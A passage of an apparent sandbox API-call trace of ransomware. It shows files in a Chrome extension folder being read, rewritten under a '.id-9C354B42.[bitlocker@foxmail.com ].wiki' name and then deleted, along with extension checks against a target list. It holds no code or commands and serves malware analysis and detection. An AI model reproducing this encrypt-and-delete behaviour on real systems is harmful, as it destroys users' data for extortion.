[0172.065] WriteFile (in: hFile=0x1a4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0172.065] SetEndOfFile (hFile=0x1a4) returned 1 [0172.065] CloseHandle (hObject=0x1a4) returned 1 [0172.065] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.065] SetEndOfFile (hFile=0x1a0) returned 1 [0172.066] CloseHandle (hObject=0x1a0) returned 1 [0172.066] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.066] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html")) returned 1 [0172.067] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html") returned 135 [0172.067] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html") returned 135 [0172.067] lstrlenW (lpString=".doc") returned 4 [0172.067] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0172.067] lstrlenW (lpString=".docx") returned 5 [0172.067] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0172.067] lstrlenW (lpString=".pdf") returned 4 [0172.067] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0172.067] lstrlenW (lpString=".xls") returned 4 [0172.067] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0172.067] lstrlenW (lpString=".xlsx") returned 5 [0172.067] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0172.067] lstrlenW (lpString=".ppt") returned 4 [0172.067] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0172.067] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html") returned 135 [0172.067] lstrlenW (lpString=".zip") returned 4 [0172.067] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0172.067] lstrlenW (lpString=".rar") returned 4 [0172.067] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0172.067] lstrlenW (lpString=".bz2") returned 4 [0172.067] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0172.067] lstrlenW (lpString=".7z") returned 3 [0172.067] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0172.067] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html") returned 135 [0172.067] lstrlenW (lpString=".dbf") returned 4 [0172.067] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0172.067] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html") returned 135 [0172.067] lstrlenW (lpString=".1cd") returned 4 [0172.067] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0172.067] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html") returned 135 [0172.067] lstrlenW (lpString=".jpg") returned 4 [0172.067] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0172.068] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html") returned 135 [0172.068] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html") returned 135 [0172.068] lstrlenW (lpString=".doc") returned 4 [0172.068] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0172.068] lstrlenW (lpString=".docx") returned 5 [0172.068] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0172.068] lstrlenW (lpString=".pdf") returned 4 [0172.068] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0172.068] lstrlenW (lpString=".xls") returned 4 [0172.068] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0172.068] lstrlenW (lpString=".xlsx") returned 5 [0172.068] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0172.068] lstrlenW (lpString=".ppt") returned 4 [0172.068] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0172.068] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html") returned 135 [0172.068] lstrlenW (lpString=".zip") returned 4 [0172.068] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0172.068] lstrlenW (lpString=".rar") returned 4 [0172.068] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0172.068] lstrlenW (lpString=".bz2") returned 4 [0172.068] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0172.068] lstrlenW (lpString=".7z") returned 3 [0172.068] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0172.068] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html") returned 135 [0172.068] lstrlenW (lpString=".dbf") returned 4 [0172.068] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0172.068] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html") returned 135 [0172.068] lstrlenW (lpString=".1cd") returned 4 [0172.068] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0172.068] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html") returned 135 [0172.069] lstrlenW (lpString=".jpg") returned 4 [0172.069] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0172.069] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.069] lstrlenW (lpString="messages.json") returned 13 [0172.069] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.069] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=214) returned 1 [0172.069] CloseHandle (hObject=0x1a0) returned 1 [0172.069] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json")) returned 0x2020 [0172.069] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.069] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.070] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.070] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.070] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0172.070] GetLastError () returned 0x0 [0172.070] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xd6, lpOverlapped=0x0) returned 1 [0172.071] WriteFile (in: hFile=0x1a4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0172.072] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0172.072] WriteFile (in: hFile=0x1a4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.072] SetEndOfFile (hFile=0x1a4) returned 1 [0172.072] CloseHandle (hObject=0x1a4) returned 1 [0172.072] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.072] SetEndOfFile (hFile=0x1a0) returned 1 [0172.073] CloseHandle (hObject=0x1a0) returned 1 [0172.073] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.074] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json")) returned 1 [0172.074] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json") returned 151 [0172.074] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json") returned 151 [0172.074] lstrlenW (lpString=".doc") returned 4 [0172.074] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.074] lstrlenW (lpString=".docx") returned 5 [0172.074] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.074] lstrlenW (lpString=".pdf") returned 4 [0172.074] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.074] lstrlenW (lpString=".xls") returned 4 [0172.074] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.074] lstrlenW (lpString=".xlsx") returned 5 [0172.074] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.074] lstrlenW (lpString=".ppt") returned 4 [0172.074] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.074] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json") returned 151 [0172.074] lstrlenW (lpString=".zip") returned 4 [0172.074] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.074] lstrlenW (lpString=".rar") returned 4 [0172.074] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.074] lstrlenW (lpString=".bz2") returned 4 [0172.074] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.075] lstrlenW (lpString=".7z") returned 3 [0172.075] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.075] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json") returned 151 [0172.075] lstrlenW (lpString=".dbf") returned 4 [0172.075] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.075] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json") returned 151 [0172.075] lstrlenW (lpString=".1cd") returned 4 [0172.075] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.075] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json") returned 151 [0172.075] lstrlenW (lpString=".jpg") returned 4 [0172.075] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.075] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json") returned 151 [0172.075] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json") returned 151 [0172.075] lstrlenW (lpString=".doc") returned 4 [0172.075] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.075] lstrlenW (lpString=".docx") returned 5 [0172.075] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.075] lstrlenW (lpString=".pdf") returned 4 [0172.075] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.075] lstrlenW (lpString=".xls") returned 4 [0172.075] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.075] lstrlenW (lpString=".xlsx") returned 5 [0172.075] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.075] lstrlenW (lpString=".ppt") returned 4 [0172.075] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.075] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json") returned 151 [0172.075] lstrlenW (lpString=".zip") returned 4 [0172.075] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.075] lstrlenW (lpString=".rar") returned 4 [0172.076] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.076] lstrlenW (lpString=".bz2") returned 4 [0172.076] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.076] lstrlenW (lpString=".7z") returned 3 [0172.076] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.076] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json") returned 151 [0172.076] lstrlenW (lpString=".dbf") returned 4 [0172.076] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.076] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json") returned 151 [0172.076] lstrlenW (lpString=".1cd") returned 4 [0172.076] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.076] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json") returned 151 [0172.076] lstrlenW (lpString=".jpg") returned 4 [0172.076] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.076] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.076] lstrlenW (lpString="messages.json") returned 13 [0172.076] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.077] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=217) returned 1 [0172.077] CloseHandle (hObject=0x1a0) returned 1 [0172.077] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json")) returned 0x2020 [0172.077] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.077] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.077] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.077] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.077] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0172.078] GetLastError () returned 0x0 [0172.078] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xd9, lpOverlapped=0x0) returned 1 [0172.078] WriteFile (in: hFile=0x1a4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0172.080] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0172.080] WriteFile (in: hFile=0x1a4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.080] SetEndOfFile (hFile=0x1a4) returned 1 [0172.080] CloseHandle (hObject=0x1a4) returned 1 [0172.080] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.080] SetEndOfFile (hFile=0x1a0) returned 1 [0172.081] CloseHandle (hObject=0x1a0) returned 1 [0172.081] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.082] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json")) returned 1 [0172.082] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json") returned 151 [0172.082] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json") returned 151 [0172.082] lstrlenW (lpString=".doc") returned 4 [0172.082] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.082] lstrlenW (lpString=".docx") returned 5 [0172.082] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.082] lstrlenW (lpString=".pdf") returned 4 [0172.082] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.082] lstrlenW (lpString=".xls") returned 4 [0172.082] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.082] lstrlenW (lpString=".xlsx") returned 5 [0172.082] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.082] lstrlenW (lpString=".ppt") returned 4 [0172.082] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.082] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json") returned 151 [0172.082] lstrlenW (lpString=".zip") returned 4 [0172.082] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.082] lstrlenW (lpString=".rar") returned 4 [0172.082] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.082] lstrlenW (lpString=".bz2") returned 4 [0172.082] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.083] lstrlenW (lpString=".7z") returned 3 [0172.083] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.083] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json") returned 151 [0172.083] lstrlenW (lpString=".dbf") returned 4 [0172.083] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.083] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json") returned 151 [0172.083] lstrlenW (lpString=".1cd") returned 4 [0172.083] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.083] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json") returned 151 [0172.083] lstrlenW (lpString=".jpg") returned 4 [0172.083] lstrcmpiW (lpString1=".jpg", lpString2="json") 